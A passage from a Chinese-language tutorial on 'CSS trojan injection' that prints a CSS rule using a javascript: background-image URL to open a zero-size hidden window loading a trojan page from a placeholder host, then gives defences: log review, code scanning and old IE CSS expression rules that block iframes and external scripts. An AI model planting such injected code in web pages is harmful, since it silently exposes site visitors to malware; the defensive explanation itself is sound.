Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

CSS 掛馬攻擊原理與實戰:隱藏視窗載入木馬與服務端排查策略(下)

編輯:Windows XP 系統介紹
小百科: 使用 Body 物件元素,為了讓物件不再改變整個網頁文件內容,透過 Body 控制可將內容/效果限制在指定大小內,如同 DIV 精確設定大小。

方式 2

Body {
  background-image: url(javascript:open(' https://www.X.com/muma.htm ','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no'))
}

方式 1 運行時出現空白頁面影響訪問,易被發現。方式 2 用 JavaScript open 開零尺寸隱藏視窗,後台悄悄運行並訪問木馬頁面,不影響用戶瀏覽,更隱蔽。

防範服務器被掛馬

通常出現防毒軟體報警等訊號。因漏洞不斷更新、掛馬種類時刻變換,靠客戶端反映發現往往疏漏大。正確做法:經常檢查服務器日誌發現異常、檢查網站代碼、使用網頁木馬檢測系統排查。

防禦代碼

除阻斷彈窗防範 CSS 掛馬外,可在網頁設定 CSS 過濾將 CSS 過濾掉(需注意自身網頁是否有 CSS 內容),仍首推阻斷方式。阻斷代碼:

iframe{miao1:expression(this.src='about:blank',this.outerHTML='');}
script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

將外域木馬代碼的 src 重寫為本地 IE 404 錯誤頁面地址,外域 JavaScript 不會被下載。但阻斷方式有天生致命弱點,下次揭曉。

Copyright © Windows教程網 All Rights Reserved